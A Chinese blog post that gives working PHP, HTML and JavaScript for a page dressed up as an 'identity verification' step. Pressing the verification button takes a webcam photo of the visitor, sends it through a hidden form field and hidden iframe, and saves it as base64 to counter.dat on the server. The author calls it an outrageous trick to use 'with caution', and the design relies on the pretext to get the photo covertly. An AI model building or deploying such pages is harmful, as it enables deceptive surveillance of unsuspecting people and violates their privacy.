html+js+php 网页调用摄像头点击拍照并且返回到本地（2.0）

这个就是那个比较逆天的用法

老办法，php+html+js+dat

就能实现

获取之后随便去一个在线base64转化器啥的就能获得啦！

（慎重使用）

用php的原因是因为，由于出于安全考虑，JavaScript不允许操作文件，仅仅在微软支持的下面可以尽享少量的操作，所以需要配合php使用

注意↓是一个php文件命名直接index.php就可以了

<!doctype html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>长歌-身份验证</title>
</head>

<body>
    <iframe name="formSubmit" style="display:none;"></iframe>
    <form class="form-inline" target="formSubmit" method="post">    
    <input id="input"  type="text" placeholder="交钱了！" name = "chishi" style="display:none">
    <input name = "button1" type = "submit" id ="button_take" value="身份认证">
    </form>
    <div style="float: left;width:50%"><video id="v"></video></div>
    <canvas id="canvas" style="display:none;"></canvas><br />
    <img src="http://placehold.it/640&text=Your%20image%20here%20..." id="photo" alt="photo" style="float: left;">
</body>

<script>
    !(function () {

        if (navigator.mediaDevices === undefined) {
            navigator.mediaDevices = {};
        }
        if (navigator.mediaDevices.getUserMedia === undefined) {
            navigator.mediaDevices.getUserMedia = function (constraints) {
                var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
                if (!getUserMedia) {
                    return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
                }

                return new Promise(function (resolve, reject) {
                    getUserMedia.call(navigator, constraints, resolve, reject);
                });
            }
        }
        const constraints = {
            video: true,
            audio: false
        };
        let videoPlaying = false;
        let v = document.getElementById('v');
        let promise = navigator.mediaDevices.getUserMedia(constraints);
        promise.then(stream => {
            // 旧的浏览器可能没有srcObject
            if ("srcObject" in v) {
                v.srcObject = stream;
            } else {
                // 防止再新的浏览器里使用它，应为它已经不再支持了
                v.src = window.URL.createObjectURL(stream);
            }
            v.onloadedmetadata = function (e) {
                v.play();
                videoPlaying = true;
            };
        }).catch(err => {
            console.error(err.name + ": " + err.message);
        });
        var xxx = 0;
        let data = canvas.toDataURL('image/webp');
        document.getElementById('button_take').addEventListener('click', function () {
            if (xxx < 1){
                if (videoPlaying) {
                let canvas = document.getElementById('canvas');
                canvas.width = v.videoWidth;
                canvas.height = v.videoHeight;
                canvas.getContext('2d').drawImage(v, 0, 0);
                data = canvas.toDataURL('image/webp');
                console.log(data);
                document.getElementById('input').setAttribute('value', data);
                document.getElementById('photo').setAttribute('src', data);
            }
            }  
            
        }, false);
    })();
    
</script>
<?php
    if (array_key_exists('button1',$_POST)){
		//长歌手账极速版
		
        $datt = $_POST["chishi"];
            echo $datt;
    		$CounterFile = "counter.dat";	
    		$cf = fopen($CounterFile,"w");	
    		fputs($cf,$datt);
    		fclose($cf);
    }
	?>
</html>

然后再同一个文件夹下面搞一个

couner.dat

点击按钮之后里面会多一串很长的东西，自己去转化一下就能得到了